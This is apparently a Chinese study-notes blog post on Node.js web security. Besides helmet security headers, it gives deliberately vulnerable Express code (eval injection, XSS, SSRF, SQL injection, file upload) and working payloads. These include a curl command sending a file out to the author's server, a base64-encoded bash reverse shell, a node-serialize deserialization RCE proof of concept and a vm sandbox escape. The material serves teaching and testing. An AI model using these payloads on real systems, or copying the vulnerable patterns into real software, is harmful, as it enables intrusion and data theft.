前言

对于最近学习node.js的一些总结~

设置安全的HTTP头

在Node.js中可以通过强制设置一些安全的HTTP头来加强网站的安全系数,比如以下:

1
2
3
4
5
6
7
8
9
Strict-Transport-Security       //强制使用安全连接(SSL/TLS之上的HTTPS)来连接到服务器。

X-Frame-Options //提供对于点击劫持的保护。

X-XSS-Protection //开启大多现代浏览器内建的对于跨站脚本攻击(XSS)的过滤功能。

X-Content-Type-Options // 防止浏览器使用MIME-sniffing 来确定响应的类型,转而使用明确的content-type来确定。

Content-Security-Policy // 防止受到跨站脚本攻击以及其他跨站注入攻击。

目前Helnet第三方模块已经帮开发人员设置好了,直接将它引入到我们的系统就可以了,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
var express = require('express');
var helmet = require('helmet')
var app = express();
app.use(helmet())
app.get('/', function (req, res){
res.end("hello ghtwf01")
})

var server = app.listen(8888,function (){
var host = server.address().address
var port = server = server.address().port
console.log("应用实例,访问地址为 http://%s:%s", host, port)
})

代码执行

示例代码如下

1
2
3
4
5
6
7
8
9
10
11
var express = require('express');
var app = express();
app.get('/eval', function (req, res){
res.send(eval(req.query.code));
})

var server = app.listen(8888,function (){
var host = server.address().address
var port = server = server.address().port
console.log("应用实例,访问地址为 http://%s:%s", host, port)
})

Node.js中的chile_process.exec调用的是/bash.sh,它是一个bash解释器,可以执行系统命令。在eval函数的参数中可以构造require('child_process').exec('');来进行调用

1.执行命令(打开微信)

code=require('child_process').exec('open /Applications/WeChat.app');

2.读取任意文件

因为没有回显所以需要数据外带

我们在自己的vps上写一个获取数据的文件test.php

1
2
3
4
<?php
$content = $_POST['content'];
file_put_contents("content.txt", $content);
?>

然后执行命令

1
code=require('child_process').exec('curl -d "content=`cat /users/ghtwf01/Desktop/flag`" http://localhost:8890/test.php');

成功在自己vps上生成文件读取到文件内容

3.反弹shell

code=require('child_process').exec('YmFzaCAtaSAmZ3Q7JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwJmd0OyYx'|base64 -d|bash');

YmFzaCAtaSAmZ3Q7JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwJmd0OyYxbash -i >& /dev/tcp/127.0.0.1/4444 0>&1的base64编码

如果上下文中没有require(类似于Code-Breaking 2018 Thejs),则可以使用global.process.mainModule.constructor._load('child_process').exec('')来执行命令

除了eval函数能动态执行代码,setInteval、setTimeout、 new Function等函数也有相同的功能

XSS

Node.js不像java有很强大的过滤器,过滤用户的有害输入、缓解xss十分方便。但是可以通过设置HTTP头中加入X-XSS-Protection,来开起浏览器内建的对于跨站脚本攻击(XSS)的过滤功能。由于本身没有xss防护机制 ,若是未经过滤直接显示外部的输入则导致XSS。

如下:

1
2
3
4
5
6
7
8
9
10
11
12
var express = require('express');
var app = express();

app.get('/xss', function (req, res){
res.end(req.query.content);
})

var server = app.listen(8888,function (){
var host = server.address().address
var port = server = server.address().port
console.log("应用实例,访问地址为 http://%s:%s", host, port)
})

程序直接将用户的输入显示到前端页面:

SSRF

ssrf漏洞在存在于大多数的编程语言中,node.js也不例外,只要web系统接收了外界输入的URL,并且通过服务端程序直接调用就会造成相应的漏洞

代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
var express = require('express');
var app = express();
var needle = require('needle');
app.get('/ssrf', function (req, res){
var url = req.query['url'];
needle.get(url);
res.end('new request:'+url);
})

var server = app.listen(8888,function (){
var host = server.address().address
var port = server = server.address().port
console.log("应用实例,访问地址为 http://%s:%s", host, port)
})

SQL注入

示例代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
var express = require('express');
var app = express();
var mysql = require('mysql');
var connection = mysql.createConnection({
host : 'localhost',
user : 'root',
password : 'root',
database : 'users',
port : '8889'
});
connection.connect();

app.get('/sqli', function (req, res){
var id = req.query.id;
var sql = "select * from user where id="+id;
connection.query(sql,function(error, result){
if (error) {
res.send(error);
}
res.send(result[0]);
});

connection.end();

})
var server = app.listen(8888,function (){
var host = server.address().address
var port = server = server.address().port
console.log("应用实例,访问地址为 http://%s:%s", host, port)
})

成功实现注入

文件上传

形成的原因同样是因为未对上传文件作限制或限制不当

file.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<head>
<title>文件上传表单</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
</head>
<body>
<h3>文件上传:</h3>
选择一个文件上传: <br />
<form action="/upload" method="post" enctype="multipart/form-data">
<input type="file" name="image" size="50" />
<br />
<input type="submit" value="上传文件" />
</form>
</body>
</html>

test.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
var express = require('express');
var app = express();
var fs = require("fs");

var bodyParser = require('body-parser');
var multer = require('multer');

app.use('/public', express.static('public'));
app.use(bodyParser.urlencoded({ extended: false }));
app.use(multer({ dest: '/tmp/'}).array('image'));

app.get('/file.html', function (req, res) {
res.sendFile( __dirname + "/" + "file.html" );
})

app.post('/upload', function (req, res) {

console.log(req.files[0]); // 上传的文件信息

var des_file = __dirname + "/" + req.files[0].originalname;
fs.readFile( req.files[0].path, function (err, data) {
fs.writeFile(des_file, data, function (err) {
if( err ){
console.log( err );
}else{
response = {
message:'File uploaded successfully',
filename:req.files[0].originalname
};
}
console.log( response );
res.end( JSON.stringify( response ) );
});
});
})

var server = app.listen(8888, function () {

var host = server.address().address
var port = server.address().port

console.log("应用实例,访问地址为 http://%s:%s", host, port)

})

npm

任何人都可以创建模块发布到npm上,供别人调用,虽然这为开发者带来了一定的便利性,但必然隐藏着安全隐患,如果使用了存在漏洞的第三方模块,那么就会有严重的安全问题。

node-serialize反序列化RCE漏洞(CVE-2017-5941)

这里首先需要了解一个知识叫IIFE(立即调用函数表达式),是一个在定义时就会立即执行的 JavaScript 函数

IIFE一般写成下面两种形式:

1
2
(function(){ /* code */ }());
(function(){ /* code */ })();

例如

现在开始分析node-serialize的漏洞点

位于node_modules\node-serialize\lib\serialize.js第75行中

可以看到传入的值在eval函数里面且被一对括号包裹,所以如果我们构造function(){}()函数,在反序列化时就会被当作IIFE立即调用执行

poc:

1
2
3
4
5
serialize = require('node-serialize');
var test = {
rce : function(){require('child_process').exec('whoami',function(error, stdout, stderr){console.log(stdout)});},
}
console.log("序列化生成的 Payload: \n" + serialize.serialize(test));

得到

1
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('whoami',function(error, stdout, stderr){console.log(stdout)});}"}

因为需要在反序列化时让其立即调用我们构造的函数,所以我们需要在生成的序列化语句的函数后面再添加一个(),结果如下:

1
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('whoami',function(error, stdout, stderr){console.log(stdout)});}()"}

这个时候我们将其进行反序列化,代码如下

1
2
3
var serialize = require('node-serialize');
var payload = '{"rce":"_$$ND_FUNC$$_function(){require(\'child_process\').exec(\'whoami\',function(error, stdout, stderr){console.log(stdout)});}()"}';
serialize.unserialize(payload);

成功执行命令

Node.js 目录穿越漏洞(CVE-2017-14849)

漏洞影响版本:

  • Node.js 8.5.0 + Express 3.19.0-3.21.2
  • Node.js 8.5.0 + Express 4.11.0-4.15.5

vulhub一键搭建环境

1
2
3
cd vulhub/node/CVE-2017-14849/
docker-compose build
docker-compose up -d

burpsuite抓包

现在开始分析漏洞点,先下载安装源码

1
wget https://github.com/expressjs/express/archive/4.15.5.tar.gz && tar -zxvf  4.15.5.tar.gz && cd express-4.15.5 && npm install 

位于Express的Send组件0.11.0-0.15.6版本pipe()函数中(/express-4.15.5/node_modules/send/index.js)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
SendStream.prototype.pipe = function pipe (res) {
// root path
var root = this._root

// references
this.res = res

// decode the path
var path = decode(this.path)
if (path === -1) {
this.error(400)
return res
}

// null byte(s)
if (~path.indexOf('\0')) {
this.error(400)
return res
}

var parts
if (root !== null) {
// malicious path
if (UP_PATH_REGEXP.test(normalize('.' + sep + path))) {
debug('malicious path "%s"', path)
this.error(403)
return res
}

// join / normalize from optional root dir
path = normalize(join(root, path))
root = normalize(root + sep)

关键位置是

1
2
3
4
5
6
7
8
9
10
11
if (root !== null) {
// malicious path
if (UP_PATH_REGEXP.test(normalize('.' + sep + path))) {
debug('malicious path "%s"', path)
this.error(403)
return res
}

// join / normalize from optional root dir
path = normalize(join(root, path))
root = normalize(root + sep)

这里有两个需要认识的函数

1.path.normalize()函数规范化给定的 pathhttp://nodejs.cn/api/path/path_normalize_path.html

2.path.join()函数将多个参数组合成一个pathhttps://www.jb51.net/article/58298.htm

Send模块通过normalize('.' + sep + path)标准化路径path后,并没有赋值给path,而是仅仅判断了下是否存在目录跳转字符。如果我们能绕过目录跳转字符的判断,就能把目录跳转字符带入join(root, path)函数中,跳转到我们想要跳转到的目录中

接下来的分析可参考:https://paper.seebug.org/439/

vm沙盒逃逸

vm可以理解为在一个虚拟环境中运行代码然后将结果取出来,这样可以防止恶意代码在主程序上执行

下面举一个例子,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
const vm = require('vm');

const x = 1;

const context = { x: 2 };
vm.createContext(context); // Contextify the object.

const code = 'x += 40; var y = 17;';
// `x` and `y` are global variables in the context.
// Initially, x has the value 2 because that is the value of context.x.
vm.runInContext(code, context);

console.log(context.x); // 42
console.log(context.y); // 17

console.log(x); // 1; y is not defined.

总结一下就是先将x=2放入沙盒并创建一个沙盒,然后将代码(x += 40; var y = 17;)放入沙盒中执行,因为最开始创建沙盒的时候定义了x=2,所以在此基础上在沙盒中进行运算得到x=42,y=17。因为const x=1是在沙盒外定义的,所以和沙盒无关,值仍然为1。

虽然拥有沙盒来帮助执行代码,但是vm还是轻松逃逸出去,因为this.__proto__指向的是主环境的Object.prototype

1
2
3
4
5
6
7
8
const vm = require('vm');

const context = { x:2 };

const script = new vm.Script(`this.constructor.constructor('return process')().mainModule.require('child_process').execSync('whoami').toString()`);
vm.createContext(context);
var result = script.runInContext(context);
console.log(result);
  • 第一步this.constructor.constructor通过继承链最终拿到主环境的Function
  • this.constructor.constructor('return process')()构造了一个函数并执行,拿到主环境的process变量
  • 通过process.mainModule.require导入child_process模块,命令执行

参考链接

https://www.jb51.net/article/127896.htm

https://www.freebuf.com/articles/web/152891.html

https://paper.seebug.org/439/

https://threezh1.com/2020/01/30/NodeJsVulns/

http://nodejs.cn/api/